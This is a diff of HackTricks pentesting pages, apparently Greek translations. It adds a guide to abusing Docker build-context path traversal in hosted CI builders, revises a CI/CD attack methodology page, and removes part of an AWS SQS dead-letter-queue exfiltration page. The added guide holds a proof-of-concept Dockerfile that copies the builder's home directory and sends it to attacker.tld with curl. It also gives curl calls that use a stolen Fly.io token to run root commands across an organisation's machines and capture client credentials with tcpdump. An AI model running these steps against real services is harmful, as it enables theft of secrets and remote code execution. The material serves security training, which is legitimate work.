Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -0,0 +1,101 @@
+# Κατάχρηση Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## TL;DR
+
+Αν μια CI/CD πλατφόρμα ή hosted builder επιτρέπει σε contributors να καθορίζουν το Docker build context path και το Dockerfile path, συχνά μπορείς να ορίσεις το context σε έναν parent directory (π.χ. "..") και να κάνεις αρχεία του host μέρος του build context. Έπειτα, ένα attacker-controlled Dockerfile μπορεί να COPY και να exfiltrate secrets που βρίσκονται στο home του builder χρήστη (π.χ. ~/.docker/config.json). Κλεμμένα registry tokens μπορεί επίσης να λειτουργήσουν ενάντια στα control-plane APIs του provider, επιτρέποντας org-wide RCE.
+
+## Επιφάνεια επίθεσης
+
+Πολλές hosted builder/registry υπηρεσίες κάνουν περίπου τα εξής όταν build-άρουν user-submitted images:
+- Read a repo-level config that includes:
+- build context path (sent to the Docker daemon)
+- Dockerfile path relative to that context
+- Copy the indicated build context directory and the Dockerfile to the Docker daemon
+- Build the image and run it as a hosted service
+
+Αν η πλατφόρμα δεν canonicalize και δεν περιορίζει το build context, ένας χρήστης μπορεί να το ορίσει σε μια τοποθεσία εκτός του repository (path traversal), προκαλώντας αρχεία του host που είναι αναγνώσιμα από τον build user να γίνουν μέρος του build context και να είναι διαθέσιμα για COPY μέσα στο Dockerfile.
+
+Πρακτικοί περιορισμοί που παρατηρούνται συνήθως:
+- The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
+- The build user must have read access to files included in the context; special device files can break the copy.
+
+## PoC: Path traversal via Docker build context
+
+Παράδειγμα malicious server config που δηλώνει ένα Dockerfile μέσα στο parent directory context:
+```yaml
+runtime: "container"
+build:
+dockerfile: "test/Dockerfile"   # Must reside inside the final context
+dockerBuildPath: ".."           # Path traversal to builder user $HOME
+startCommand:
+type: "http"
+configSchema:
+type: "object"
+properties:
+apiKey:
+type: "string"
+required: ["apiKey"]
+exampleConfig:
+apiKey: "sk-example123"
+```
+Σημειώσεις:
+- Η χρήση των ".." συχνά επιλύεται στο home του χρήστη builder (π.χ., /home/builder), το οποίο συνήθως περιέχει ευαίσθητα αρχεία.
+- Τοποθετήστε το Dockerfile σας κάτω από το όνομα του φακέλου του repo (π.χ., repo "test" → test/Dockerfile) ώστε να παραμένει εντός του expanded parent context.
+
+## PoC: Dockerfile to ingest and exfiltrate the host context
+```dockerfile
+FROM alpine
+RUN apk add --no-cache curl
+RUN mkdir /data
+COPY . /data                      # Copies entire build context (now builder’s $HOME)
+RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
+```
+Στόχοι που ανακτώνται συχνά από το $HOME:
+- ~/.docker/config.json (registry auths/tokens)
+- Άλλα cloud/CLI cache και config (π.χ., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+
+Tip: Ακόμα κι αν υπάρχει .dockerignore στο αποθετήριο, η ευάλωτη επιλογή context από την πλευρά της πλατφόρμας εξακολουθεί να καθορίζει τι αποστέλλεται στον daemon. Αν η πλατφόρμα αντιγράψει το επιλεγμένο path στον daemon πριν αξιολογήσει το .dockerignore του repo σας, αρχεία του host ενδέχεται να εκτεθούν.
+
+## Cloud pivot with overprivileged tokens (παράδειγμα: Fly.io Machines API)
+
+Μερικές πλατφόρμες εκδίδουν ένα ενιαίο bearer token που μπορεί να χρησιμοποιηθεί τόσο για το container registry όσο και για το control-plane API. Αν εξάγετε ένα registry token, δοκιμάστε το στο provider API.
+
+Παραδείγματα κλήσεων API προς το Fly.io Machines API χρησιμοποιώντας το κλεμμένο token από ~/.docker/config.json:
+
+Απαρίθμηση εφαρμογών σε ένα org:
+```bash
+curl -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps?org_slug=smithery"
+```
+Εκτέλεσε μια εντολή ως root μέσα σε οποιαδήποτε μηχανή μιας εφαρμογής:
+```bash
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
+```
+Αποτέλεσμα: org-wide remote code execution across all hosted apps where the token holds sufficient privileges.
+
+## Κλοπή secrets από compromised hosted services
+
+Με exec/RCE σε hosted servers, μπορείτε να συλλέξετε client-supplied secrets (API keys, tokens) ή να πραγματοποιήσετε prompt-injection attacks. Παράδειγμα: εγκαταστήστε tcpdump και καταγράψτε HTTP traffic στην port 8080 για να εξαγάγετε inbound credentials.
+```bash
+# Install tcpdump inside the machine
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
+
+# Capture traffic
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
+```
+Οι captured requests συχνά περιέχουν client credentials στα headers, bodies ή query params.
+
+## Αναφορές
+
+- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
+- [Fly.io Machines API](https://fly.io/docs/machines/api/)
+
+{{#include ../banners/hacktricks-training.md}}

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -6,7 +6,7 @@
 
 ## VCS
 
-VCS σημαίνει Σχήμα Ελέγχου Έκδοσης και αυτό το σύστημα επιτρέπει στους προγραμματιστές να διαχειρίζονται τον πηγαίο κώδικα τους. Το πιο κοινό είναι το **git** και συνήθως θα βρείτε εταιρείες να το χρησιμοποιούν σε μία από τις παρακάτω **πλατφόρμες**:
+VCS σημαίνει **Version Control System**, αυτό το σύστημα επιτρέπει στους προγραμματιστές να **διαχειρίζονται τον πηγαίο κώδικά τους**. Το πιο διαδεδομένο είναι το **git** και συνήθως οι εταιρείες το χρησιμοποιούν σε μία από τις παρακάτω **πλατφόρμες**:
 
 - Github
 - Gitlab
@@ -18,73 +18,80 @@ VCS σημαίνει Σχήμα Ελέγχου Έκδοσης και αυτό τ
 
 ## CI/CD Pipelines
 
-Τα CI/CD pipelines επιτρέπουν στους προγραμματιστές να **αυτοματοποιήσουν την εκτέλεση κώδικα** για διάφορους σκοπούς, όπως build, testing και deployment εφαρμογών. Αυτά τα αυτοματοποιημένα workflows **εκκινούνται από συγκεκριμένες ενέργειες**, όπως pushes, pull requests ή προγραμματισμένα tasks. Είναι χρήσιμα για τη ροή από development προς production.
+Τα CI/CD pipelines επιτρέπουν στους προγραμματιστές να **αυτοματοποιούν την εκτέλεση κώδικα** για διάφορους σκοπούς, όπως build, testing και deployment εφαρμογών. Αυτά τα αυτοματοποιημένα workflows **προκαλούνται από συγκεκριμένες ενέργειες**, όπως pushes, pull requests ή προγραμματισμένες εργασίες. Βοηθούν στο να γίνει πιο ομαλή η διαδικασία από το development έως το production.
 
-Ωστόσο, αυτά τα συστήματα πρέπει να **εκτελεστούν κάπου** και συνήθως με **privileged credentials για να κάνουν deploy κώδικα ή να έχουν πρόσβαση σε ευαίσθητες πληροφορίες**.
+Ωστόσο, αυτά τα συστήματα πρέπει να **τρέξουν κάπου** και συνήθως χρειάζονται **privileged credentials για να αναπτυχθεί κώδικας ή να αποκτηθούν ευαίσθητες πληροφορίες**.
 
 ## VCS Pentesting Methodology
 
 > [!NOTE]
 > Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
 
-Οι πλατφόρμες που περιέχουν τον πηγαίο κώδικα του project σας περιέχουν ευαίσθητες πληροφορίες και πρέπει να είστε πολύ προσεκτικοί με τα permissions που δίνονται μέσα σε αυτήν την πλατφόρμα. Αυτά είναι μερικά κοινά προβλήματα σε VCS πλατφόρμες που ένας attacker θα μπορούσε να εκμεταλλευτεί:
+Πλατφόρμες που περιέχουν τον πηγαίο κώδικα του project σας φιλοξενούν ευαίσθητες πληροφορίες και πρέπει να δοθεί μεγάλη προσοχή στα permissions που χορηγούνται εντός της πλατφόρμας. Αυτά είναι μερικά κοινά προβλήματα σε VCS πλατφόρμες που ένας attacker θα μπορούσε να εκμεταλλευτεί:
 
-- **Leaks**: Αν ο κώδικάς σας περιέχει leak στα commits και ο attacker μπορεί να έχει πρόσβαση στο repo (επειδή είναι public ή επειδή έχει πρόσβαση), μπορεί να ανακαλύψει αυτά τα leak.
-- **Access**: Αν ένας attacker μπορεί να **προσπελάσει έναν λογαριασμό μέσα στην VCS πλατφόρμα** μπορεί να αποκτήσει **περισσότερη ορατότητα και permissions**.
-- **Register**: Κάποιες πλατφόρμες απλώς επιτρέπουν σε εξωτερικούς χρήστες να δημιουργήσουν λογαριασμό.
-- **SSO**: Κάποιες πλατφόρμες δεν επιτρέπουν εγγραφή χρηστών, αλλά επιτρέπουν σε οποιονδήποτε να συνδεθεί με έγκυρο SSO (έτσι ένας attacker θα μπορούσε για παράδειγμα να χρησιμοποιήσει τον github λογαριασμό του για να μπει).
-- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... υπάρχουν πολλοί τύποι token που ένας χρήστης μπορεί να κλέψει για να αποκτήσει πρόσβαση με κάποιον τρόπο σε ένα repo.
-- **Webhooks**: VCS πλατφόρμες επιτρέπουν τη δημιουργία webhooks. Αν δεν προστατεύονται με μη ορατά secrets, ένας attacker θα μπορούσε να τα εκμεταλλευτεί.
-  - Αν δεν υπάρχει secret, ο attacker μπορεί να εκμεταλλευτεί το webhook της τρίτης πλατφόρμας
-  - Αν το secret είναι στο URL, το ίδιο συμβαίνει και ο attacker αποκτά επίσης το secret
-- **Code compromise:** Αν ένας malicious actor έχει κάποιο είδος **write** πρόσβασης στα repos, μπορεί να προσπαθήσει να **ενσωματώσει malicious code**. Για να έχει επιτυχία μπορεί να χρειαστεί να **παρακάμψει branch protections**. Αυτές οι ενέργειες μπορούν να έχουν διάφορους στόχους:
-  - Να συμβιβαστεί το main branch για να **συμβιβαστεί το production**.
-  - Να συμβιβαστεί το main (ή άλλα branches) για να **συμβιβαστούν οι μηχανές των developers** (καθώς συνήθως εκτελούν tests, terraform ή άλλα πράγματα μέσα στο repo στις μηχανές τους).
-  - **Compromise the pipeline** (δείτε την επόμενη ενότητα)
+- **Leaks**: Αν ο κώδικάς σας περιέχει leaks στα commits και ο attacker έχει πρόσβαση στο repo (επειδή είναι public ή επειδή έχει πρόσβαση), μπορεί να ανακαλύψει τα leaks.
+- **Access**: Αν ένας attacker μπορεί να **έχει access σε λογαριασμό μέσα στην VCS πλατφόρμα** μπορεί να αποκτήσει **μεγαλύτερη ορατότητα και δικαιώματα**.
+- **Register**: Κάποιες πλατφόρμες επιτρέπουν απλά σε εξωτερικούς χρήστες να δημιουργήσουν account.
+- **SSO**: Κάποιες πλατφόρμες δεν επιτρέπουν εγγραφή, αλλά επιτρέπουν σε οποιονδήποτε να συνδεθεί με έγκυρο SSO (οπότε ένας attacker θα μπορούσε να χρησιμοποιήσει π.χ. το github account του για να μπει).
+- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... υπάρχουν διαφορετικοί τύποι tokens που ένας χρήστης μπορεί να κλέψει για να αποκτήσει πρόσβαση σε ένα repo.
+- **Webhooks**: Οι VCS πλατφόρμες επιτρέπουν τη δημιουργία webhooks. Αν δεν είναι **protected** με μη ορατά secrets, ένας **attacker θα μπορούσε να τα εκμεταλλευτεί**.
+- Αν δεν υπάρχει secret, ο attacker μπορεί να εκμεταλλευτεί το webhook της τρίτης πλατφόρμας
+- Αν το secret βρίσκεται στο URL, συμβαίνει το ίδιο και ο attacker αποκτά και το secret
+- **Code compromise:** Αν ένας malicious actor έχει κάποιο είδος **write** access στα repos, μπορεί να προσπαθήσει να **ενσωματώσει malicious code**. Για να το πετύχει ίσως χρειαστεί να **bypass branch protections**. Αυτές οι ενέργειες μπορούν να γίνουν με διαφορετικούς στόχους:
+  - Compromise το main branch για **compromise production**.
+  - Compromise το main (ή άλλα branches) για να **compromise τα machines των developers** (εφόσον αυτοί συνήθως εκτελούν tests, terraform ή άλλα πράγματα μέσα στο repo στα μηχανήματά τους).
+- **Compromise the pipeline** (βλέπε επόμενη ενότητα)
 
 ## Pipelines Pentesting Methodology
 
-Ο πιο κοινός τρόπος για να οριστεί ένα pipeline είναι με τη χρήση ενός **CI configuration file hosted in the repository** που το pipeline χτίζει. Αυτό το αρχείο περιγράφει τη σειρά των jobs που εκτελούνται, τις συνθήκες που επηρεάζουν τη ροή και τις ρυθμίσεις του build environment.\
-Αυτά τα αρχεία συνήθως έχουν συνεπή όνομα και μορφή, για παράδειγμα — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), και τα GitHub Actions YAML αρχεία που βρίσκονται κάτω από .github/workflows. Όταν ενεργοποιείται, το pipeline job **pulls the code** από την επιλεγμένη πηγή (π.χ. commit / branch), και **τρέχει τις εντολές που καθορίζονται στο CI configuration file** πάνω σε αυτόν τον κώδικα.
+Ο πιο κοινός τρόπος να οριστεί ένα pipeline είναι με χρήση ενός **CI configuration file που φιλοξενείται στο repository** που κάνει build. Αυτό το αρχείο περιγράφει τη σειρά των jobs που θα εκτελεστούν, τις συνθήκες που επηρεάζουν τη ροή και τις ρυθμίσεις του build environment.\
+Αυτά τα αρχεία έχουν τυπικά ένα σταθερό όνομα και format, για παράδειγμα — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), και τα GitHub Actions YAML αρχεία κάτω από .github/workflows. Όταν ενεργοποιείται, το pipeline job **τραβάει τον κώδικα** από την επιλεγμένη πηγή (π.χ. commit / branch) και **τρέχει τις εντολές που καθορίζονται στο CI configuration file** πάνω σε αυτόν τον κώδικα.
 
-Επομένως ο τελικός στόχος του attacker είναι με κάποιο τρόπο να **συμβιβαστεί αυτά τα configuration files** ή οι **εντολές που εκτελούν**.
+Άρα ο τελικός στόχος του attacker είναι να με κάποιο τρόπο **compromise αυτά τα configuration files** ή τις **εντολές που εκτελούν**.
+
+> [!TIP]
+> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
+>
+>{{#ref}}
+>docker-build-context-abuse.md
+>{{#endref}}
 
 ### PPE - Poisoned Pipeline Execution
 
-Το Poisoned Pipeline Execution (PPE) path εκμεταλλεύεται permissions σε ένα SCM repository για να χειραγωγήσει ένα CI pipeline και να εκτελέσει επιβλαβείς εντολές. Χρήστες με τα απαραίτητα permissions μπορούν να τροποποιήσουν CI configuration files ή άλλα αρχεία που χρησιμοποιεί το pipeline job ώστε να συμπεριλάβουν malicious εντολές. Αυτό «poisons» το CI pipeline, οδηγώντας στην εκτέλεση αυτών των malicious εντολών.
+Η Poisoned Pipeline Execution (PPE) διαδρομή εκμεταλλεύεται permissions σε ένα SCM repository για να χειραγωγήσει ένα CI pipeline και να εκτελέσει επιβλαβείς εντολές. Χρήστες με τα απαραίτητα permissions μπορούν να τροποποιήσουν CI configuration files ή άλλα αρχεία που χρησιμοποιεί το pipeline job ώστε να συμπεριλάβουν malicious commands. Αυτό "δηλητηριάζει" το CI pipeline, οδηγώντας στην εκτέλεση αυτών των malicious εντολών.
 
-Για να έχει επιτυχία ένας malicious actor εκτελώντας επίθεση PPE πρέπει να μπορεί να:
+Για να είναι επιτυχημένος ένας malicious actor σε ένα PPE attack πρέπει να μπορεί να:
 
-- Έχει **write access to the VCS platform**, καθώς συνήθως τα pipelines ενεργοποιούνται όταν γίνεται push ή pull request. (Δείτε τη VCS pentesting methodology για περίληψη τρόπων απόκτησης πρόσβασης).
-- Σημειώστε ότι μερικές φορές ένα **external PR θεωρείται ως "write access"**.
-- Ακόμα κι αν έχει write permissions, πρέπει να είναι βέβαιος ότι μπορεί να **τροποποιήσει το CI config file ή άλλα αρχεία στα οποία το config βασίζεται**.
-- Για αυτό μπορεί να χρειαστεί να μπορέσει να **παρακάμψει branch protections**.
+- Έχει **write access στην VCS πλατφόρμα**, καθώς συνήθως τα pipelines ενεργοποιούνται όταν γίνεται push ή pull request. (Δείτε την VCS pentesting methodology για περίληψη τρόπων απόκτησης access).
+- Σημειώστε ότι μερικές φορές ένα **external PR μετράει ως "write access"**.
+- Ακόμα κι αν έχει write permissions, πρέπει να είναι σίγουρος ότι μπορεί να **τροποποιήσει το CI config file ή άλλα αρχεία στα οποία βασίζεται το config**.
+- Για αυτό μπορεί να χρειαστεί να **bypass branch protections**.
 
-Υπάρχουν 3 flavours PPE:
+Υπάρχουν 3 flavours του PPE:
 
 - **D-PPE**: Μια **Direct PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί το CI config** αρχείο που πρόκειται να εκτελεστεί.
-- **I-DDE**: Μια **Indirect PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί** ένα **file** στο οποίο το CI config βασίζεται (όπως ένα make file ή ένα terraform config).
-- **Public PPE or 3PE**: Σε κάποιες περιπτώσεις τα pipelines μπορούν να **triggered by users that doesn't have write access in the repo** (και που μπορεί να μην είναι καν μέρος της org) επειδή μπορούν να στείλουν ένα PR.
-- **3PE Command Injection**: Συνήθως, CI/CD pipelines θα **set environment variables** με **πληροφορίες σχετικά με το PR**. Αν αυτή η τιμή μπορεί να ελεγχθεί από έναν attacker (π.χ. ο τίτλος του PR) και **χρησιμοποιείται** σε ένα **επικίνδυνο σημείο** (όπως εκτέλεση **sh commands**), ένας attacker μπορεί να **εγχείρει εντολές εκεί**.
+- **I-DDE**: Μια **Indirect PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί** ένα **file** που το CI config που πρόκειται να εκτελεστεί **εξαρτάται από** (όπως ένα make file ή ένα terraform config).
+- **Public PPE or 3PE**: Σε κάποιες περιπτώσεις τα pipelines μπορούν να **προκαλούνται από χρήστες που δεν έχουν write access στο repo** (και που μπορεί να μην είναι καν μέρος της org) επειδή μπορούν να στείλουν ένα PR.
+- **3PE Command Injection**: Συνήθως, CI/CD pipelines θα **ορίσουν environment variables** με **πληροφορίες για το PR**. Αν αυτή η τιμή μπορεί να ελεγχθεί από attacker (όπως ο τίτλος του PR) και **χρησιμοποιείται** σε **επικίνδυνη θέση** (όπως εκτέλεση sh commands), ένας attacker μπορεί να **ενθέσει εντολές εκεί**.
 
-### Exploitation Benefits
+### Οφέλη Εκμετάλλευσης
 
-Γνωρίζοντας τα 3 flavours για το poisoning ενός pipeline, ας δούμε τι μπορεί να αποκτήσει ένας attacker μετά από επιτυχημένη εκμετάλλευση:
+Γνωρίζοντας τις 3 flavour για να δηλητηριάσει κανείς ένα pipeline, ας δούμε τι μπορεί να αποκτήσει ένας attacker μετά από επιτυχή εκμετάλλευση:
 
-- **Secrets**: Όπως αναφέρθηκε προηγουμένως, τα pipelines απαιτούν **privileges** για τα jobs τους (ανάκτηση κώδικα, build, deploy...) και αυτά τα privileges συνήθως **παρέχονται ως secrets**. Αυτά τα secrets είναι συνήθως προσβάσιμα μέσω **env variables ή αρχείων μέσα στο σύστημα**. Επομένως ένας attacker θα προσπαθήσει πάντα να εξαγάγει όσο το δυνατόν περισσότερα secrets.
-- Ανάλογα με την πλατφόρμα pipeline, ο attacker **μπορεί να χρειαστεί να καθορίσει τα secrets στο config**. Αυτό σημαίνει ότι αν ο attacker δεν μπορεί να τροποποιήσει το CI configuration pipeline (**I-PPE** για παράδειγμα), μπορεί **να εξάγει μόνο τα secrets που έχει το pipeline**.
-- **Computation**: Ο κώδικας εκτελείται κάπου. Ανάλογα με το πού εκτελείται, ένας attacker μπορεί να μπορέσει να pivot-άρει περαιτέρω.
-- **On-Premises**: Αν τα pipelines εκτελούνται on-premises, ένας attacker μπορεί να βρεθεί σε ένα **εσωτερικό δίκτυο με πρόσβαση σε περισσότερους πόρους**.
-- **Cloud**: Ο attacker μπορεί να αποκτήσει πρόσβαση **σε άλλες μηχανές στο cloud** αλλά επίσης να **εξαγάγει** IAM roles/service accounts **tokens** για να αποκτήσει **περαιτέρω πρόσβαση στο cloud**.
-- **Platforms machine**: Κάποιες φορές τα jobs θα εκτελεστούν στις **μηχανές της πλατφόρμας των pipelines**, οι οποίες συνήθως είναι μέσα σε ένα cloud με **περιορισμένη περαιτέρω πρόσβαση**.
-- **Select it:** Κάποιες φορές η **πλατφόρμα του pipeline θα έχει διαμορφώσει πολλαπλές μηχανές** και αν μπορείτε να **τροποποιήσετε το CI configuration file** μπορείτε να **υποδείξετε που θέλετε να τρέξει ο malicious κώδικας**. Σε αυτή την περίπτωση, ένας attacker πιθανόν θα τρέξει reverse shell σε κάθε διαθέσιμη μηχανή για να προσπαθήσει να την εκμεταλλευτεί περαιτέρω.
-- **Compromise production**: Αν βρίσκεστε μέσα στο pipeline και η τελική έκδοση κατασκευάζεται και deploy-άρεται από αυτό, μπορείτε να **συμβιβάσετε τον κώδικα που θα τρέξει σε production**.
+- **Secrets**: Όπως αναφέρθηκε προηγουμένως, τα pipelines χρειάζονται **privileges** για τα jobs τους (να πάρουν τον κώδικα, να τον buildάρουν, να τον αναπτύξουν...) και αυτά τα privileges συνήθως **παρέχονται ως secrets**. Αυτά τα secrets είναι συνήθως προσβάσιμα μέσω **env variables ή αρχείων μέσα στο σύστημα**. Επομένως ένας attacker θα προσπαθήσει πάντα να εξάγει όσο το δυνατόν περισσότερα secrets.
+- Ανάλογα με την πλατφόρμα pipeline, ο attacker **μπορεί να χρειαστεί να δηλώσει τα secrets στο config**. Αυτό σημαίνει ότι αν ο attacker δεν μπορεί να τροποποιήσει το CI configuration pipeline (**I-PPE** για παράδειγμα), μπορεί να **εξάγει μόνο τα secrets που ήδη έχει το pipeline**.
+- **Computation**: Ο κώδικας εκτελείται κάπου· ανάλογα με το που εκτελείται, ένας attacker μπορεί να καταφέρει pivot περαιτέρω.
+- **On-Premises**: Αν τα pipelines εκτελούνται on-premises, ένας attacker μπορεί να βρεθεί στο **εσωτερικό δίκτυο με πρόσβαση σε περισσότερους πόρους**.
+- **Cloud**: Ο attacker θα μπορούσε να αποκτήσει πρόσβαση **σε άλλες μηχανές στο cloud** αλλά και να **εξάγει** IAM roles/service accounts **tokens** για να αποκτήσει περαιτέρω πρόσβαση μέσα στο cloud.
+- **Platforms machine**: Κάποιες φορές τα jobs θα εκτελούνται μέσα στις **μηχανές της πλατφόρμας pipelines**, που συνήθως βρίσκονται σε ένα cloud χωρίς επιπλέον access.
+- **Select it:** Μερικές φορές η **πλατφόρμα pipelines έχει διαμορφώσει πολλές μηχανές** και αν μπορείτε να **τροποποιήσετε το CI configuration file** μπορείτε να **υποδείξετε που θέλετε να τρέξει ο malicious κώδικας**. Σε αυτή την περίπτωση, ένας attacker πιθανόν θα τρέξει έναν reverse shell σε κάθε πιθανή μηχανή για να προσπαθήσει να την εκμεταλλευτεί περαιτέρω.
+- **Compromise production**: Αν βρίσκεστε μέσα στο pipeline και η τελική έκδοση χτίζεται και αναπτύσσεται από αυτό, μπορείτε να **compromise τον κώδικα που θα τρέξει σε production**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) είναι ένα open-source εργαλείο για auditing του software supply chain stack σας για συμμόρφωση ασφαλείας βάσει ενός νέου [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Το auditing επικεντρώνεται σε όλη τη διαδικασία SDLC, όπου μπορεί να αποκαλύψει κινδύνους από τον χρόνο του κώδικα μέχρι τον χρόνο του deploy.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) είναι ένα open-source εργαλείο για auditing του software supply chain stack σας για security compliance βασισμένο σε έναν νέο [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Το auditing εστιάζει στην ολόκληρη διαδικασία SDLC, όπου μπορεί να αποκαλύψει κινδύνους από το code έως το deploy time.
 
 ### Top 10 CI/CD Security Risk
 
@@ -92,12 +99,12 @@ VCS σημαίνει Σχήμα Ελέγχου Έκδοσης και αυτό τ
 
 ### Labs
 
-- Σε κάθε πλατφόρμα που μπορείτε να τρέξετε τοπικά θα βρείτε οδηγίες για το πώς να το εκκινήσετε τοπικά ώστε να το διαμορφώσετε όπως θέλετε για να το δοκιμάσετε
+- Σε κάθε πλατφόρμα που μπορείτε να τρέξετε τοπικά θα βρείτε πώς να το ξεκινήσετε τοπικά ώστε να το ρυθμίσετε όπως θέλετε για να το δοκιμάσετε
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** είναι ένα static code analysis εργαλείο για infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** είναι ένα static code analysis tool για infrastructure-as-code.
 
 ## References
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -1,154 +0,0 @@
-# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Περιγραφή
-
-Καταχρήστε τα SQS message move tasks για να κλέψετε όλα τα συσσωρευμένα μηνύματα από το Dead-Letter Queue (DLQ) ενός θύματος ανακατευθύνοντάς τα σε attacker-controlled queue χρησιμοποιώντας `sqs:StartMessageMoveTask`. Αυτή η τεχνική εκμεταλλεύεται τη νόμιμη λειτουργία ανάκτησης μηνυμάτων του AWS για να exfiltrate ευαίσθητα δεδομένα που έχουν συσσωρευτεί σε DLQs με την πάροδο του χρόνου.
-
-## Τι είναι ένα Dead-Letter Queue (DLQ)?
-
-Ένα Dead-Letter Queue είναι μια ειδική SQS ουρά όπου τα μηνύματα αποστέλλονται αυτόματα όταν δεν μπορούν να επεξεργαστούν επιτυχώς από την κύρια εφαρμογή. Αυτά τα αποτυχημένα μηνύματα συχνά περιέχουν:
-- Ευαίσθητα δεδομένα εφαρμογής που δεν μπόρεσαν να επεξεργαστούν
-- Λεπτομέρειες σφαλμάτων και πληροφορίες debugging
-- Personal Identifiable Information (PII)
-- API tokens, credentials, ή άλλα secrets
-- Επιχειρησιακά κρίσιμα δεδομένα συναλλαγών
-
-Τα DLQ λειτουργούν ως "νεκροταφείο" για αποτυχημένα μηνύματα, καθιστώντας τα πολύτιμους στόχους αφού συσσωρεύουν ευαίσθητα δεδομένα με την πάροδο του χρόνου που οι εφαρμογές δεν κατάφεραν να επεξεργαστούν σωστά.
-
-## Σενάριο επίθεσης
-
-**Παράδειγμα πραγματικού κόσμου:**
-1. **E-commerce application** επεξεργάζεται παραγγελίες πελατών μέσω SQS
-2. **Μερικές παραγγελίες αποτυγχάνουν** (προβλήματα πληρωμής, αποθέματος, κ.λπ.) και μετακινούνται σε DLQ
-3. **Το DLQ συσσωρεύει** εβδομάδες/μήνες αποτυχημένων παραγγελιών που περιέχουν δεδομένα πελατών: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
-4. **Ο attacker αποκτά πρόσβαση** σε AWS credentials με δικαιώματα SQS
-5. **Ο attacker ανακαλύπτει** ότι το DLQ περιέχει χιλιάδες αποτυχημένες παραγγελίες με ευαίσθητα δεδομένα
-6. **Αντί να προσπαθήσει να προσεγγίσει μεμονωμένα μηνύματα** (αργό και προφανές), ο attacker χρησιμοποιεί `StartMessageMoveTask` για μαζική μεταφορά ΟΛΩΝ των μηνυμάτων στην δική του ουρά
-7. **Ο attacker εξάγει** όλα τα ιστορικά ευαίσθητα δεδομένα με μία ενέργεια
-
-## Απαιτήσεις
-- Η source queue πρέπει να έχει ρυθμιστεί ως DLQ (αναφέρεται από τουλάχιστον μία queue RedrivePolicy).
-- IAM permissions (εκτελούμενα ως το συμβεβλημένο με το περιστατικό victim principal):
-- Στο DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
-- Στην destination queue: δικαίωμα παράδοσης μηνυμάτων (π.χ. queue policy που επιτρέπει `sqs:SendMessage` από το victim principal). Για προορισμούς στο ίδιο account αυτό συνήθως επιτρέπεται από προεπιλογή.
-- Αν είναι ενεργοποιημένο το SSE-KMS: στο source CMK `kms:Decrypt`, και στο destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
-
-## Impact
-Exfiltrate ευαίσθητα payloads που έχουν συσσωρευτεί σε DLQs (αποτυχημένα events, PII, tokens, application payloads) με μεγάλη ταχύτητα χρησιμοποιώντας τα εγγενή SQS APIs. Λειτουργεί cross-account εάν η policy της destination queue επιτρέπει `SendMessage` από το victim principal.
-
-## Πώς να Καταχραστείτε
-
-- Εντοπίστε το ARN του victim DLQ και βεβαιωθείτε ότι αναφέρεται πράγματι ως DLQ από κάποια ουρά (οποιαδήποτε ουρά είναι επαρκής).
-- Δημιουργήστε ή επιλέξτε μια attacker-controlled destination queue και λάβετε το ARN της.
-- Ξεκινήστε ένα message move task από το victim DLQ προς την destination queue σας.
-- Παρακολουθήστε την πρόοδο ή ακυρώστε εάν χρειαστεί.
-
-### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
-
-**Scenario**: Ένας attacker έχει συμβιβαστεί AWS credentials και ανακάλυψε ότι μια e-commerce εφαρμογή χρησιμοποιεί SQS με ένα DLQ που περιέχει αποτυχημένες προσπάθειες επεξεργασίας παραγγελιών πελατών.
-
